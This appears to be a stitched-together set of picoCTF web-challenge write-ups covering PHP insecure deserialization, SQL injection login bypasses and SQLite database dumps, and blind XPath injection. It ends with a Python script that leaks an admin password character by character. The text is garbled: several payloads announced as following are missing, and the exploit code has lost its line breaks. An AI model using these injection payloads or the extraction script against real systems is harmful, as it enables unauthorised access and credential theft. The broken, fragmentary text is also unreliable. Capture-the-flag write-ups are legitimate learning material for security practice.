I must have been sleep hacking or something, I don't remember visiting all of these sites... http://mercury.picoctf.net:52731/ (try a couple different browsers if it's not working right)
I sent out 2 invitations to all of my friends for my birthday! I'll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn't believe how long it took me to find a collision. Anyway, see if you're invited by submitting 2 PDFs to my website. http://mercury.picoctf.net:11590/
The insecure deserialization is triggered by the unserialize() function in cookie.phps:
The idea is to utilize the access_log class in authentication.phps. This class is supposed to read the access log, but we could let it dump the content of ../flag. The payload object is:
And what made this attack viable is the die("...".$perm); function call, as well as the __toString() method in the class access_log, __toString tells PHP how the object can be interpretered as string. If you take a closer look, the __toString() in access_log class will return the value of read_log function. Since the access_log class does not have is_admin and is_guest method, it will result an error, and then the die function will print a debug message. Otherwise it would not return anything as file_get_contents simply does not output anything.
In that payload we used /**/ (empty comment) to represent space. Note that this challenge does not filter spaces at all. We could simply delete all /**/:
' || X'61646D696E'%00
The corresponding SQL query becomes:
SELECT username, passwordFROM users WHERE username=''|| X'61646D696E'' AND password='a';
Send the payload as username and password can be anything. Send this POST request with burp. This payload also solves Web Gauntlet 3.
Note from ret2basic
An even simpler payload is adm'||'in'%00, where we use || to concatenate strings and %00 (null byte) instead ; to terminate the SQL statement. Check out picoCTF 2020 Mini-Competition Web Gauntlet Round 5.
Immediately it asks us to login, and notice the Register on the top left corner? Why the hell not? And spoiler, this isn't part of the actual challenge. Upon loggin in, we see some kind of donation page.
I first tried some letters but apparently it's doing some kind of checking. Since I didn't seem to have any credits so I just entered a huge number, and nothing seemed to happen. Then I tried to intercept the request and realized there is a captcha included in this form. Lucky for us, this captcha is custom generated and not by google.
So I tried some basic stuff, like SSTI, Command Injection, and last, SQL Injection. And the last time, the contribute.php returned a database error message.
Then I knew I was onto something, and after checking the hints provided by the organizers, I learned the database is SQLite, so I tried some test query like
'||(sqlite_version())||'
And I knew I definitely didn't donate 3.22.0. The rest is just regular procedure, dump the database and get the flag.
Dump table names:
'||(SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')||'
Next, dump column names:
'||(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='startup_users')||'
The last part is then to dump the table and see if flag is in there.
'||(SELECT group_concat(nameuser,wordpass) FROM startup_users LIMIT 1)||'
A bit messy, but you can see find the flag in the text.
According to the prompt, we know it's yet another injection problem. And the hint told us that it has something to do with XPATH. Originally I thought this was to use SQL XPATH Error Injection, but later on I realized it was just simply XPATH Injection (From testing functions and stuff).
I could very well be wrong, but XPATH is some kind of query language for XML. After A LOT of research, I finally found some useful function I can use for the injection. Let's talk about them.
count(node) will return how many child nodes does this particular node have. string-length() will return the length of string, you guessed it. local-name() will return the attribute name of the node. substring() does exactly what you expect it to.
To make thing more clear, let's use an example. Here is a sample XML file.
And count(login)=1 because there is only one node of login, and count(user)=2 because there are two user nodes. Then local-name(login)=login as you expected.
Then let's talk about the path in XML files. Like in Linux directories, / means root, so if I want to represent the Alice node, I shall use /login/users/user[1]/, the [1] means the position of node. And of course, the wildcard /* means all of the child nodes.
With those knowledge, we can first try to leak the root node. The payload I used was:
name=&pass=' or string-length(local-name(/*))='1
And we can slowly leak the length of root node's name. Then we use the substring() function to dump the name. Rinse and repeat. Eventually we will leak the entire node tree.
I used the exploit below to dump the nodes which mattered. Essentially the structure was like:
And if you are curious about the other stuff, try modify the exploit and dump 'em all. It's gonna take forever, I probably should do a binary search, but meh.
Exploit
#!/usr/bin/env python3import requestsimport stringurl ='http://mercury.picoctf.net:53735/'pool = string.printabledefleak_root(url): root_name ='' name_length =0while1: data ={'name':'','pass':f"' or string-length(local-name(/*))='{name_length}"} req = requests.post(url, data=data)print(f"Now trying name length: {name_length}")if'failure'in req.text: name_length +=1else:breakprint(f"Get root name length: {name_length}")for i inrange(1, name_length +1):for c in pool: data ={'name':'','pass':f"' or substring(local-name(/*),{i},1)='{c}"} req = requests.post(url, data=data)print(f"Now trying root name: {root_name + c}")if'right path.'in req.text: root_name += cbreakprint(f"Found root name: {root_name}")defleak_node(url,root): node_number =0 nodes = []while1: data ={'name':'','pass':f"' or count(/{root}/*)='{node_number}"} req = requests.post(url, data=data)print(f"Now trying node number: {node_number}")if'failure'in req.text: node_number +=1else:breakfor n inrange(1, node_number +1): name_length =0 node_name =''while1: data ={'name':'','pass':f"' or string-length(local-name(/{root}/*[{n}]))='{name_length}"} req = requests.post(url, data=data)print(f"Now trying node {n} with name length: {name_length}")if'failure'in req.text: name_length +=1else:breakprint(f"Got node {n} with name length {name_length}")for i inrange(1, name_length +1):for c in pool: data ={'name':'','pass':f"' or substring(local-name(/{root}/*[{n}]),{i},1)='{c}"} req = requests.post(url, data=data)print(f"Now trying node {n} with name: {node_name + c}")if'right path.'in req.text: node_name += cbreak nodes.append(node_name)print(f"Found nodes: {nodes}")defleak_data(url,node): leaked ='' data_length =0while1: data ={'name':'','pass':f"' or string-length(/{node})='{data_length}"} req = requests.post(url, data=data)print(f"Now trying node {node} with attribute length: {data_length}")if'failure'in req.text: data_length +=1else:breakfor i inrange(len(leaked) +1, data_length +1):for c in pool: data ={'name':'','pass':f"' or substring(/{node},{i},1)='{c}"} req = requests.post(url, data=data)print(f"({len(leaked)}/{data_length})Now trying node {node} with value: {leaked + c}")if'right path.'in req.text: leaked += cbreakprint(f"Leaked data of node {node} has value of: {leaked}")# leak_root(url)# leak_node(url, 'db/users')# leak_node(url, 'db/users[1]')# user[3] has username of admin.# leak_data(url, 'db/users/user[3]/name')leak_data(url, 'db/users/user[3]/pass')